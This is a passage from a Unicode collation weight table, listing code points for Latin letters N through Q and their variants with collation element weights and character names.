CAPITAL LETTER N +0144 ; [.1D34.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D34.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER N WITH ACUTE +01F9 ; [.1D34.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER N WITH GRAVE +01F8 ; [.1D34.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER N WITH GRAVE +0148 ; [.1D34.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER N WITH CARON +0147 ; [.1D34.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER N WITH CARON +00F1 ; [.1D34.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER N WITH TILDE +00D1 ; [.1D34.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER N WITH TILDE +1E45 ; [.1D34.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER N WITH DOT ABOVE +1E44 ; [.1D34.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER N WITH DOT ABOVE +0146 ; [.1D34.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER N WITH CEDILLA +0145 ; [.1D34.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER N WITH CEDILLA +A7A5 ; [.1D34.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER N WITH OBLIQUE STROKE +A7A4 ; [.1D34.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER N WITH OBLIQUE STROKE +1E47 ; [.1D34.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER N WITH DOT BELOW +1E46 ; [.1D34.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER N WITH DOT BELOW +1E4B ; [.1D34.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW +1E4A ; [.1D34.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW +1E49 ; [.1D34.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER N WITH LINE BELOW +1E48 ; [.1D34.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER N WITH LINE BELOW +3381 ; [.1D34.0020.001C][.1BC2.0020.001D] # SQUARE NA +1F195 ; [.1D34.0020.001D][.1C25.0020.001D][.1E70.0020.001D] # SQUARED NEW +338B ; [.1D34.0020.001C][.1C60.0020.001D] # SQUARE NF +1F196 ; [.1D34.0020.001D][.1C6F.0020.001D] # SQUARED NG +01CC ; [.1D34.0020.0004][.1CC7.0020.0004] # LATIN SMALL LETTER NJ +01CB ; [.1D34.0020.000A][.1CC7.0020.0004] # LATIN CAPITAL LETTER N WITH SMALL LETTER J +01CA ; [.1D34.0020.000A][.1CC7.0020.000A] # LATIN CAPITAL LETTER NJ +339A ; [.1D34.0020.001C][.1D25.0020.001C] # SQUARE NM +2116 ; [.1D34.0020.000A][.1D58.0020.0004] # NUMERO SIGN +33B1 ; [.1D34.0020.001C][.1DEC.0020.001C] # SQUARE NS +33B5 ; [.1D34.0020.001C][.1E5E.0020.001D] # SQUARE NV +33BB ; [.1D34.0020.001C][.1E70.0020.001D] # SQUARE NW +0274 ; [.1D38.0020.0002] # LATIN LETTER SMALL CAPITAL N +1DE1 ; [.1D38.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL N +1DB0 ; [.1D38.0020.0014] # MODIFIER LETTER SMALL CAPITAL N +1D3B ; [.1D3C.0020.0002] # MODIFIER LETTER CAPITAL REVERSED N +1D0E ; [.1D3D.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED N +1D70 ; [.1D3E.0020.0002] # LATIN SMALL LETTER N WITH MIDDLE TILDE +0272 ; [.1D3F.0020.0002] # LATIN SMALL LETTER N WITH LEFT HOOK +019D ; [.1D3F.0020.0008] # LATIN CAPITAL LETTER N WITH LEFT HOOK +1DAE ; [.1D3F.0020.0014] # MODIFIER LETTER SMALL N WITH LEFT HOOK +019E ; [.1D43.0020.0002] # LATIN SMALL LETTER N WITH LONG RIGHT LEG +0220 ; [.1D43.0020.0008] # LATIN CAPITAL LETTER N WITH LONG RIGHT LEG +A791 ; [.1D47.0020.0002] # LATIN SMALL LETTER N WITH DESCENDER +A790 ; [.1D47.0020.0008] # LATIN CAPITAL LETTER N WITH DESCENDER +1D87 ; [.1D48.0020.0002] # LATIN SMALL LETTER N WITH PALATAL HOOK +0273 ; [.1D49.0020.0002] # LATIN SMALL LETTER N WITH RETROFLEX HOOK +1DAF ; [.1D49.0020.0014] # MODIFIER LETTER SMALL N WITH RETROFLEX HOOK +0235 ; [.1D4D.0020.0002] # LATIN SMALL LETTER N WITH CURL +AB3B ; [.1D51.0020.0002] # LATIN SMALL LETTER N WITH CROSSED-TAIL +A774 ; [.1D52.0020.0002] # LATIN SMALL LETTER NUM +014B ; [.1D53.0020.0002] # LATIN SMALL LETTER ENG +014A ; [.1D53.0020.0008] # LATIN CAPITAL LETTER ENG +1D51 ; [.1D53.0020.0014] # MODIFIER LETTER SMALL ENG +AB3C ; [.1D57.0020.0002] # LATIN SMALL LETTER ENG WITH CROSSED-TAIL +006F ; [.1D58.0020.0002] # LATIN SMALL LETTER O +FF4F ; [.1D58.0020.0003] # FULLWIDTH LATIN SMALL LETTER O +0366 ; [.1D58.0020.0004] # COMBINING LATIN SMALL LETTER O +24AA ; [*0310.0020.0004][.1D58.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER O +2134 ; [.1D58.0020.0005] # SCRIPT SMALL O +1D428 ; [.1D58.0020.0005] # MATHEMATICAL BOLD SMALL O +1D45C ; [.1D58.0020.0005] # MATHEMATICAL ITALIC SMALL O +1D490 ; [.1D58.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL O +1D4F8 ; [.1D58.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL O +1D52C ; [.1D58.0020.0005] # MATHEMATICAL FRAKTUR SMALL O +1D560 ; [.1D58.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL O +1D594 ; [.1D58.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL O +1D5C8 ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF SMALL O +1D5FC ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL O +1D630 ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL O +1D664 ; [.1D58.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL O +1D698 ; [.1D58.0020.0005] # MATHEMATICAL MONOSPACE SMALL O +24DE ; [.1D58.0020.0006] # CIRCLED LATIN SMALL LETTER O +004F ; [.1D58.0020.0008] # LATIN CAPITAL LETTER O +FF2F ; [.1D58.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER O +1F11E ; [*0310.0020.0004][.1D58.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER O +1D40E ; [.1D58.0020.000B] # MATHEMATICAL BOLD CAPITAL O +1D442 ; [.1D58.0020.000B] # MATHEMATICAL ITALIC CAPITAL O +1D476 ; [.1D58.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL O +1D4AA ; [.1D58.0020.000B] # MATHEMATICAL SCRIPT CAPITAL O +1D4DE ; [.1D58.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL O +1D512 ; [.1D58.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL O +1D546 ; [.1D58.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL O +1D57A ; [.1D58.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL O +1D5AE ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL O +1D5E2 ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL O +1D616 ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL O +1D64A ; [.1D58.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL O +1D67E ; [.1D58.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL O +24C4 ; [.1D58.0020.000C] # CIRCLED LATIN CAPITAL LETTER O +1F15E ; [.1D58.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER O +00BA ; [.1D58.0020.0014] # MASCULINE ORDINAL INDICATOR +1D52 ; [.1D58.0020.0014] # MODIFIER LETTER SMALL O +2092 ; [.1D58.0020.0015] # LATIN SUBSCRIPT SMALL LETTER O +1D3C ; [.1D58.0020.001D] # MODIFIER LETTER CAPITAL O +1F13E ; [.1D58.0020.001D] # SQUARED LATIN CAPITAL LETTER O +1F17E ; [.1D58.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER O +00F3 ; [.1D58.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D58.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH ACUTE +00F2 ; [.1D58.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH GRAVE +00D2 ; [.1D58.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH GRAVE +014F ; [.1D58.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER O WITH BREVE +014E ; [.1D58.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER O WITH BREVE +00F4 ; [.1D58.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1D58.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED1 ; [.1D58.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1D58.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED3 ; [.1D58.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1D58.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED7 ; [.1D58.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1D58.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1D58.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1D58.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +01D2 ; [.1D58.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER O WITH CARON +01D1 ; [.1D58.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER O WITH CARON +00F6 ; [.1D58.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH DIAERESIS +1DF3 ; [.1D58.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER O WITH DIAERESIS +A79D ; [.1D58.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK OE +00D6 ; [.1D58.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS +A79C ; [.1D58.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK OE +022B ; [.1D58.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D58.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1D58.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1D58.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +00F5 ; [.1D58.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH TILDE +00D5 ; [.1D58.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH TILDE +1E4D ; [.1D58.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE +1E4C ; [.1D58.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE +1E4F ; [.1D58.0020.0002][.0000.002D.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS +1E4E ; [.1D58.0020.0008][.0000.002D.0002][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS +022D ; [.1D58.0020.0002][.0000.002D.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON +022C ; [.1D58.0020.0008][.0000.002D.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON +022F ; [.1D58.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER O WITH DOT ABOVE +022E ; [.1D58.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE +0231 ; [.1D58.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON +0230 ; [.1D58.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON +00F8 ; [.1D58.0020.0002][.0000.002F.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1D58.0020.0008][.0000.002F.0002] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1D58.0020.0002][.0000.002F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1D58.0020.0008][.0000.002F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +01EB ; [.1D58.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER O WITH OGONEK +01EA ; [.1D58.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER O WITH OGONEK +01ED ; [.1D58.0020.0002][.0000.0031.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH OGONEK AND MACRON +01EC ; [.1D58.0020.0008][.0000.0031.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH OGONEK AND MACRON +014D ; [.1D58.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON +014C ; [.1D58.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON +1E53 ; [.1D58.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH MACRON AND ACUTE +1E52 ; [.1D58.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH MACRON AND ACUTE +1E51 ; [.1D58.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH MACRON AND GRAVE +1E50 ; [.1D58.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH MACRON AND GRAVE +1DED ; [.1D58.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE +1ECF ; [.1D58.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HOOK ABOVE +1ECE ; [.1D58.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HOOK ABOVE +020D ; [.1D58.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER O WITH DOUBLE GRAVE +020C ; [.1D58.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE GRAVE +020F ; [.1D58.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER O WITH INVERTED BREVE +020E ; [.1D58.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER O WITH INVERTED BREVE +01A1 ; [.1D58.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN +01A0 ; [.1D58.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN +1EDB ; [.1D58.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH HORN AND ACUTE +1EDA ; [.1D58.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE +1EDD ; [.1D58.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE +1EDC ; [.1D58.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE +1EE1 ; [.1D58.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE +1EE0 ; [.1D58.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE +1EDF ; [.1D58.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE +1EDE ; [.1D58.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE +1EE3 ; [.1D58.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW +1EE2 ; [.1D58.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW +1ECD ; [.1D58.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH DOT BELOW +1ECC ; [.1D58.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH DOT BELOW +1ED9 ; [.1D58.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D58.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +0153 ; [.1D58.0020.0004][.0000.010B.0004][.1C25.0020.0004] # LATIN SMALL LIGATURE OE +0152 ; [.1D58.0020.000A][.0000.010B.0004][.1C25.0020.000A] # LATIN CAPITAL LIGATURE OE +A7F9 ; [.1D58.0020.0014][.0000.010B.0014][.1C25.0020.0014] # MODIFIER LETTER SMALL LIGATURE OE +1F197 ; [.1D58.0020.001D][.1CE0.0020.001D] # SQUARED OK +A74F ; [.1D58.0020.0004][.1D58.0020.0004] # LATIN SMALL LETTER OO +A74E ; [.1D58.0020.000A][.1D58.0020.000A] # LATIN CAPITAL LETTER OO +3375 ; [.1D58.0020.001C][.1E5E.0020.001D] # SQUARE OV +1D0F ; [.1D5C.0020.0002] # LATIN LETTER SMALL CAPITAL O +1D11 ; [.1D5D.0020.0002] # LATIN SMALL LETTER SIDEWAYS O +AB3D ; [.1D5E.0020.0002] # LATIN SMALL LETTER BLACKLETTER O +0276 ; [.1D5F.0020.0002] # LATIN LETTER SMALL CAPITAL OE +1D14 ; [.1D63.0020.0002] # LATIN SMALL LETTER TURNED OE +AB41 ; [.1D64.0020.0002] # LATIN SMALL LETTER TURNED OE WITH STROKE +AB42 ; [.1D65.0020.0002] # LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE +AB40 ; [.1D66.0020.0002] # LATIN SMALL LETTER INVERTED OE +AB43 ; [.1D67.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O +AB44 ; [.1D68.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE +1D13 ; [.1D69.0020.0002] # LATIN SMALL LETTER SIDEWAYS O WITH STROKE +AB3E ; [.1D6A.0020.0002] # LATIN SMALL LETTER BLACKLETTER O WITH STROKE +0254 ; [.1D6B.0020.0002] # LATIN SMALL LETTER OPEN O +0186 ; [.1D6B.0020.0008] # LATIN CAPITAL LETTER OPEN O +1D53 ; [.1D6B.0020.0014] # MODIFIER LETTER SMALL OPEN O +1D10 ; [.1D6F.0020.0002] # LATIN LETTER SMALL CAPITAL OPEN O +1D12 ; [.1D70.0020.0002] # LATIN SMALL LETTER SIDEWAYS OPEN O +AB3F ; [.1D71.0020.0002] # LATIN SMALL LETTER OPEN O WITH STROKE +1D97 ; [.1D72.0020.0002] # LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK +AB62 ; [.1D73.0020.0002] # LATIN SMALL LETTER OPEN OE +A74D ; [.1D74.0020.0002] # LATIN SMALL LETTER O WITH LOOP +A74C ; [.1D74.0020.0008] # LATIN CAPITAL LETTER O WITH LOOP +1D16 ; [.1D75.0020.0002] # LATIN SMALL LETTER TOP HALF O +1D54 ; [.1D75.0020.0014] # MODIFIER LETTER SMALL TOP HALF O +1D17 ; [.1D76.0020.0002] # LATIN SMALL LETTER BOTTOM HALF O +1D55 ; [.1D76.0020.0014] # MODIFIER LETTER SMALL BOTTOM HALF O +2C7A ; [.1D77.0020.0002] # LATIN SMALL LETTER O WITH LOW RING INSIDE +0275 ; [.1D78.0020.0002] # LATIN SMALL LETTER BARRED O +019F ; [.1D78.0020.0008] # LATIN CAPITAL LETTER O WITH MIDDLE TILDE +1DB1 ; [.1D78.0020.0014] # MODIFIER LETTER SMALL BARRED O +A74B ; [.1D7C.0020.0002] # LATIN SMALL LETTER O WITH LONG STROKE OVERLAY +A74A ; [.1D7C.0020.0008] # LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY +0277 ; [.1D7D.0020.0002] # LATIN SMALL LETTER CLOSED OMEGA +A7B7 ; [.1D81.0020.0002] # LATIN SMALL LETTER OMEGA +A7B6 ; [.1D81.0020.0008] # LATIN CAPITAL LETTER OMEGA +0223 ; [.1D82.0020.0002] # LATIN SMALL LETTER OU +0222 ; [.1D82.0020.0008] # LATIN CAPITAL LETTER OU +1D3D ; [.1D82.0020.001D] # MODIFIER LETTER CAPITAL OU +1D15 ; [.1D86.0020.0002] # LATIN LETTER SMALL CAPITAL OU +0070 ; [.1D87.0020.0002] # LATIN SMALL LETTER P +FF50 ; [.1D87.0020.0003] # FULLWIDTH LATIN SMALL LETTER P +1DEE ; [.1D87.0020.0004] # COMBINING LATIN SMALL LETTER P +24AB ; [*0310.0020.0004][.1D87.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER P +1D429 ; [.1D87.0020.0005] # MATHEMATICAL BOLD SMALL P +1D45D ; [.1D87.0020.0005] # MATHEMATICAL ITALIC SMALL P +1D491 ; [.1D87.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL P +1D4C5 ; [.1D87.0020.0005] # MATHEMATICAL SCRIPT SMALL P +1D4F9 ; [.1D87.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL P +1D52D ; [.1D87.0020.0005] # MATHEMATICAL FRAKTUR SMALL P +1D561 ; [.1D87.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL P +1D595 ; [.1D87.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL P +1D5C9 ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF SMALL P +1D5FD ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL P +1D631 ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL P +1D665 ; [.1D87.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL P +1D699 ; [.1D87.0020.0005] # MATHEMATICAL MONOSPACE SMALL P +24DF ; [.1D87.0020.0006] # CIRCLED LATIN SMALL LETTER P +0050 ; [.1D87.0020.0008] # LATIN CAPITAL LETTER P +FF30 ; [.1D87.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER P +1F11F ; [*0310.0020.0004][.1D87.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER P +2119 ; [.1D87.0020.000B] # DOUBLE-STRUCK CAPITAL P +1D40F ; [.1D87.0020.000B] # MATHEMATICAL BOLD CAPITAL P +1D443 ; [.1D87.0020.000B] # MATHEMATICAL ITALIC CAPITAL P +1D477 ; [.1D87.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL P +1D4AB ; [.1D87.0020.000B] # MATHEMATICAL SCRIPT CAPITAL P +1D4DF ; [.1D87.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL P +1D513 ; [.1D87.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL P +1D57B ; [.1D87.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL P +1D5AF ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL P +1D5E3 ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL P +1D617 ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL P +1D64B ; [.1D87.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL P +1D67F ; [.1D87.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL P +24C5 ; [.1D87.0020.000C] # CIRCLED LATIN CAPITAL LETTER P +1F15F ; [.1D87.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER P +1D56 ; [.1D87.0020.0014] # MODIFIER LETTER SMALL P +209A ; [.1D87.0020.0015] # LATIN SUBSCRIPT SMALL LETTER P +1D3E ; [.1D87.0020.001D] # MODIFIER LETTER CAPITAL P +1F13F ; [.1D87.0020.001D] # SQUARED LATIN CAPITAL LETTER P +1F17F ; [.1D87.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER P +1F18A ; [.1D87.0020.001D] # CROSSED NEGATIVE SQUARED LATIN CAPITAL LETTER P +1E55 ; [.1D87.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER P WITH ACUTE +1E54 ; [.1D87.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER P WITH ACUTE +1E57 ; [.1D87.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER P WITH DOT ABOVE +1E56 ; [.1D87.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER P WITH DOT ABOVE +3380 ; [.1D87.0020.001C][.1BC2.0020.001D] # SQUARE PA AMPS +33A9 ; [.1D87.0020.001D][.1BC2.0020.001C] # SQUARE PA +1F18C ; [.1D87.0020.001D][.1BC2.0020.001D] # NEGATIVE SQUARED PA +3376 ; [.1D87.0020.001C][.1BF5.0020.001C] # SQUARE PC +338A ; [.1D87.0020.001C][.1C60.0020.001D] # SQUARE PF +33D7 ; [.1D87.0020.001D][.1C93.0020.001D] # SQUARE PH +33D8 ; [.1D87.0020.001C][*0274.0020.001C][.1D25.0020.001C][*0274.0020.001C] # SQUARE PM +33D9 ; [.1D87.0020.001D][.1D87.0020.001D][.1D25.0020.001D] # SQUARE PPM +1F14E ; [.1D87.0020.001D][.1D87.0020.001D][.1E5E.0020.001D] # SQUARED PPV +33DA ; [.1D87.0020.001D][.1DAE.0020.001D] # SQUARE PR +33B0 ; [.1D87.0020.001C][.1DEC.0020.001C] # SQUARE PS +3250 ; [.1D87.0020.001D][.1E10.0020.001D][.1C25.0020.001D] # PARTNERSHIP SIGN +33B4 ; [.1D87.0020.001C][.1E5E.0020.001D] # SQUARE PV +33BA ; [.1D87.0020.001C][.1E70.0020.001D] # SQUARE PW +1D18 ; [.1D8B.0020.0002] # LATIN LETTER SMALL CAPITAL P +1D7D ; [.1D8C.0020.0002] # LATIN SMALL LETTER P WITH STROKE +2C63 ; [.1D8C.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE +A751 ; [.1D8D.0020.0002] # LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER +A750 ; [.1D8D.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER +1D71 ; [.1D8E.0020.0002] # LATIN SMALL LETTER P WITH MIDDLE TILDE +1D88 ; [.1D8F.0020.0002] # LATIN SMALL LETTER P WITH PALATAL HOOK +01A5 ; [.1D90.0020.0002] # LATIN SMALL LETTER P WITH HOOK +01A4 ; [.1D90.0020.0008] # LATIN CAPITAL LETTER P WITH HOOK +A753 ; [.1D94.0020.0002] # LATIN SMALL LETTER P WITH FLOURISH +A752 ; [.1D94.0020.0008] # LATIN CAPITAL LETTER P WITH FLOURISH +A755 ; [.1D95.0020.0002] # LATIN SMALL LETTER P WITH SQUIRREL TAIL +A754 ; [.1D95.0020.0008] # LATIN CAPITAL LETTER P WITH SQUIRREL TAIL +A7FC ; [.1D96.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED P +0278 ; [.1D97.0020.0002] # LATIN SMALL LETTER PHI +1DB2 ; [.1D97.0020.0014] # MODIFIER LETTER SMALL PHI +2C77 ; [.1D9B.0020.0002] # LATIN SMALL LETTER TAILLESS PHI +0071 ; [.1D9C.0020.0002] # LATIN SMALL LETTER Q +FF51 ; [.1D9C.0020.0003] # FULLWIDTH LATIN SMALL LETTER Q +24AC ; [*0310.0020.0004][.1D9C.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Q +1D42A ; [.1D9C.0020.0005] # MATHEMATICAL BOLD SMALL Q +1D45E ; [.1D9C.0020.0005] # MATHEMATICAL ITALIC SMALL Q +1D492 ; [.1D9C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Q +1D4C6 ; [.1D9C.0020.0005] # MATHEMATICAL SCRIPT SMALL Q +1D4FA ; [.1D9C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Q +1D52E ; [.1D9C.0020.0005] # MATHEMATICAL FRAKTUR SMALL Q +1D562 ; [.1D9C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Q +1D596 ; [.1D9C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Q +1D5CA ; 